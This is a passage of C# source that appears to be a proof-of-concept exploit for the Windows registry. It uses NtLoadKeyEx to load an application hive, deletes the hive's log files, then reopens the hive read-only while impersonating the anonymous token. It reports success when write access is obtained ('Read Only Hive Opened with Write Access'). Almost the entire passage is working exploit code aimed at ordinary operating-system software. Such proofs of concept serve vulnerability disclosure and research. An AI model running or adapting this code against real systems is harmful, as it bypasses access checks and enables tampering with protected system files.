        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAttributes(string object_name)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = AttributeFlags.None;
      }

      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }

      ~ObjectAttributes()
      {
        Dispose();
      }
    }

    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }

    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);

      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }

      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );

      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);

      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }

      public NtException(int status) : base(StatusToString(status))
      {
      }
    }

    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }    

    [DllImport("Advapi32.dll")]
    static extern bool ImpersonateAnonymousToken(
      IntPtr ThreadHandle);

    [DllImport("Advapi32.dll")]
    static extern bool RevertToSelf();

    [DllImport("ntdll.dll")]
    public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
        IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);

    static RegistryKey LoadKey(string path, bool read_only)
    {
      string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
      ObjectAttributes KeyName = new ObjectAttributes(reg_name);
      ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
      SafeRegistryHandle keyHandle;
      LoadKeyFlags flags = LoadKeyFlags.AppKey;
      if (read_only)
        flags |= LoadKeyFlags.ReadOnly;

      int status = NtLoadKeyEx(KeyName,
        FileName, flags, IntPtr.Zero,
        IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
      if (status != 0)
        return null;
      return RegistryKey.FromHandle(keyHandle);      
    }

    static bool CheckForLogs(string path)
    {
      return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2");
    }

    static void DoExploit()
    {
      string path = Path.GetFullPath("dummy.hiv");
      RegistryKey key = LoadKey(path, false);      
      if (key == null)
      {
        throw new Exception("Something went wrong, couldn't create dummy hive");
      }
      key.Close();
      
      // Ensure the log files are deleted.
      File.Delete(path + ".LOG1");
      File.Delete(path + ".LOG2");
      if (CheckForLogs(path))
      {
        throw new Exception("Couldn't delete log files");
      }

      key = LoadKey(path, true);
      if (key == null || CheckForLogs(path))
      {
        throw new Exception("Didn't open hive readonly");
      }
      key.Close();

      ImpersonateAnonymousToken(new IntPtr(-2));
      key = LoadKey(path, true);
      RevertToSelf();
      if (!CheckForLogs(path))
      {
        throw new Exception("Log files not recreated");
      }

      Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access");
    }

    static void Main(string[] args)
    {
      try
      {
        DoExploit();        
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
    }
  }
}